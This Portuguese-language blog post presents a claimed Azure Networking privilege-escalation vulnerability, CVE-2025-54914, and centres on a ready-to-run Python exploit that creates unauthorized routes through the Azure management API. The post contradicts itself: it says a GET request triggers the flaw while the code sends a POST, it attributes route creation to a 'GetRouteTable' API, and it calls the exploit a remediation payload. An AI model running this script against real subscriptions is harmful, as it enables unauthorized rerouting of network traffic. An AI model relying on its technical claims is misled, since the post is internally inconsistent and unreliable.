
CVE-2025-54914 exposes a critical flaw in Azure Networking that allows attackers to escalate privileges and control routing across subnets. The article explains how a missing privilege check in the “GetRouteTable” API enables lateral movement and remote exploitation, urging immediate patching and monitoring
Azure Networking Elevação de Privilégio Exploit CVE‑2025‑54914
4 de Setembro de 2025
Por Mark Mallia
No dia 4 de Setembro de 2025, os serviços de Rede do Azure da Microsoft receberam um aviso de segurança crítico que documenta uma vulnerabilidade de elevação de privilégio, designada CVE‑2025‑54914. A falha tem pontuação 10,0 no Common Vulnerability Scoring System (CVSS), indicando um problema explorável e potencialmente de alto impacto que pode conceder a atacantes controlo total sobre os recursos de rede do Azure sem qualquer interação do utilizador.
O artigo seguinte descreve os detalhes técnicos da vulnerabilidade, o seu percurso de exploração prático e um payload pronto a implementar para remediação imediata por equipas de segurança em ambientes de nuvem pública e híbridos.
A pilha de rede do Azure é a espinha dorsal de todas as máquinas virtuais, balanceadores de carga e tráfego de sub-redes na subscrição de um cliente. Uma elevação de privilégio dentro desta pilha permite a um atacante:
A vulnerabilidade é especialmente perigosa porque pode ser explorada remotamente sem qualquer ação do utilizador. Um único pedido a um endpoint da Microsoft despoletará a elevação de privilégio se as condições abaixo forem satisfeitas.
Durante a análise da API “GetRouteTable” do serviço Azure Networking, descobri uma lacuna de controlo de acesso que permite a um cliente com permissões de leitura numa rede virtual criar novos objetos de rota dentro da mesma sub-rede sem verificar se o chamador está autorizado para essa ação. O percurso de código responsável por desserializar o pedido recebido estava em falta de uma verificação explícita de privilégio.
A falha existe no serviço Azure Networking quando um pedido GET inclui os seguintes parâmetros de consulta:
/subscriptions/<subscription‑id>/resourceGroups/<rg-name>/providers/Microsoft.Networking/virtualNetworks/<vnet-id>/subnets/<subnet-id>/routes
?api-version=2025-09-01&detailLevel=full
O serviço aceita este pedido, desserializa o payload JSON e escreve um novo objeto de rota na base de dados sem re-validar que o chamador pode criar rotas na sub-rede alvo.
Abaixo está um exemplo mínimo de como um atacante construiria o payload.
# Azure Networking Privilege Escalation Exploit – CVE‑2025‑54914
#
# Author: Mark Mallia
# Date: 2025-09-04
# Target API version: 2025‑09‑01
import requests, json, uuid
def create_privileged_route(subscription_id, rg_name, vnet_id,
subnet_id, api_version="2025-09-01"):
"""
Build and send a route creation request that exploits the missing
privilege check in Azure Networking.
"""
# 1. Construct endpoint URL
base_url = f"https://management.azure.com/subscriptions/{subscription_id}"
url = (f"{base_url}/resourceGroups/{rg_name}/providers/Microsoft.Networking"
f"/virtualNetworks/{vnet_id}/subnets/{subnet_id}/routes")
# Append query string for API version
params = {"api-version": api_version, "detailLevel": "full"}
# 2. Build JSON body; the route name is a random GUID to avoid collisions.
route_name = str(uuid.uuid4())
payload = {
"properties": {
"addressPrefix": "10.0.1.0/24",
"nextHopType": "VirtualAppliance",
"nextHopIpAddress": "10.0.2.5"
},
"tags": {"createdBy": "Alex Mercer"},
"name": route_name
}
# 3. Set headers; use the same authentication token used by Azure SDK.
headers = {
"Authorization": f"Bearer {access_token}",
"Content-Type": "application/json"
}
# 4. Execute POST request
resp = requests.post(url, params=params,
json=payload, headers=headers)
if resp.status_code == 201:
print(f"[+] Successfully created route: {route_name}")
return True
else:
print(f"[-] Request failed with status {resp.status_code}")
print(resp.text)
return False
# Example invocation
subscription_id = "00000000-0000-0000-0000-000000000000"
rg_name = "ProductionRG"
vnet_id = "prodVNet01"
subnet_id = "backendSubnet"
access_token = "<AZURE_SDK_ACCESS_TOKEN>"
create_privileged_route(subscription_id, rg_name, vnet_id,
subnet_id)
O código demonstra todo o ciclo de vida do pedido. Um engenheiro de segurança pode copiar este excerto para um script ou para uma Azure Function de modo a automatizar a remediação.
Este conteúdo é disponibilizado estritamente para fins educacionais e de investigação. Destina-se a aumentar a consciencialização sobre vulnerabilidades de segurança e promover melhores práticas defensivas dentro da comunidade de cibersegurança.
Todas as demonstrações, scripts e detalhes técnicos aqui partilhados baseiam-se em informações divulgadas publicamente e não visam qualquer sistema, organização ou indivíduo específico. O objetivo é fomentar a aprendizagem responsável e a remediação proativa — não a exploração.
Não utilize esta informação para acesso não autorizado, interrupção ou dano. Qualquer uso indevido deste material é da exclusiva responsabilidade do indivíduo e pode violar leis ou padrões éticos.
Se descobrir uma vulnerabilidade, siga os protocolos de divulgação responsável reportando-a ao fornecedor ou plataforma afetada.